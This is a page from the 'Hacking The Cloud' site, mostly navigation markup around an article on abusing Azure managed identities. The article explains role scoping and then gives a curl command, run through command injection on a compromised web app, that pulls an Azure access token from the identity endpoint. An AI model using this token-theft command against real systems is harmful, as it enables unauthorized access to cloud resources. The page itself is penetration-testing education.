96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Managed Identities </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Managed Identities </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#setup-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Setup Azure Managed Identity </span> </a> </li> <li class=md-nav__item> <a href=#next-steps class=md-nav__link> <span class=md-ellipsis> Next steps </span> </a> </li> <li class=md-nav__item> <a href=#exploiting-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Exploiting Azure Managed Identity </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#setup-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Setup Azure Managed Identity </span> </a> </li> <li class=md-nav__item> <a href=#next-steps class=md-nav__link> <span class=md-ellipsis> Next steps </span> </a> </li> <li class=md-nav__item> <a href=#exploiting-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Exploiting Azure Managed Identity </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by andrei8055</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/abusing-managed-identities.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Abusing Managed Identities</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://0xpwn.wordpress.com/2022/03/13/create-an-azure-vulnerable-lab-part-4-managed-identities/ >Create an Azure Vulnerable Lab: Part #4 – Managed Identities</a> by <a href=https://tripla.dk/author/drag0nus/ >Andrei Agape</a></p> </li> </ul> </div> <p>Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.</p> <pre><code>Compute Resource --&gt; Managed Identity --&gt; Assigned Role(s) --&gt; Storage Account --&gt; Container
 </code></pre> <p>A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.</p> <h2 id=setup-azure-managed-identity>Setup Azure Managed Identity<a class=headerlink href=#setup-azure-managed-identity title="Permanent link">&para;</a></h2> <p>First we enable the managed identity for the web application:</p> <p><a class=glightbox href=../../images/azure/abusing-managed-identities/image-20.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/image-20.png></a>)</p> <p>Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).</p> <p><a class=glightbox href=../../images/azure/abusing-managed-identities/image-21.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/image-21.png></a></p> <p>Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates “downwards” in the Azure architecture layer.</p> <p>The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.</p> <p><a class=glightbox href=../../images/azure/abusing-managed-identities/1.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/1.png></a></p> <p>Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.</p> <p><a class=glightbox href=../../images/azure/abusing-managed-identities/image-22.webp data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/image-22.webp></a></p> <p>Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -&gt; View access to this resource.</p> <p><a class=glightbox href=../../images/azure/abusing-managed-identities/image-23.webp data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/image-23.webp></a></p> <p>So in our case, we should see under the Storage Account that the web application has Reader and Data Access:</p> <p><a class=glightbox href=../../images/azure/abusing-managed-identities/image-24.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/image-24.png></a></p> <h2 id=next-steps>Next steps<a class=headerlink href=#next-steps title="Permanent link">&para;</a></h2> <p>Now that we have the basics of how Managed Identity works, let’s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!</p> <p><a class=glightbox href=../../images/azure/abusing-managed-identities/scope-levels.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/scope-levels.png></a></p> <p>While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the "images" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account. </p> <h2 id=exploiting-azure-managed-identity>Exploiting Azure Managed Identity<a class=headerlink href=#exploiting-azure-managed-identity title="Permanent link">&para;</a></h2> <p>Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure. <div class=highlight><pre><span></span><code>curl<span class=w> </span><span class=s2>&quot;</span><span class=nv>$IDENTITY_ENDPOINT</span><span class=s2>?resource=https://management.azure.com/&amp;api-version=2017-09-01&quot;</span><span class=w> </span>-H<span class=w> </span>secret:<span class=nv>$IDENTITY_HEADER</span>
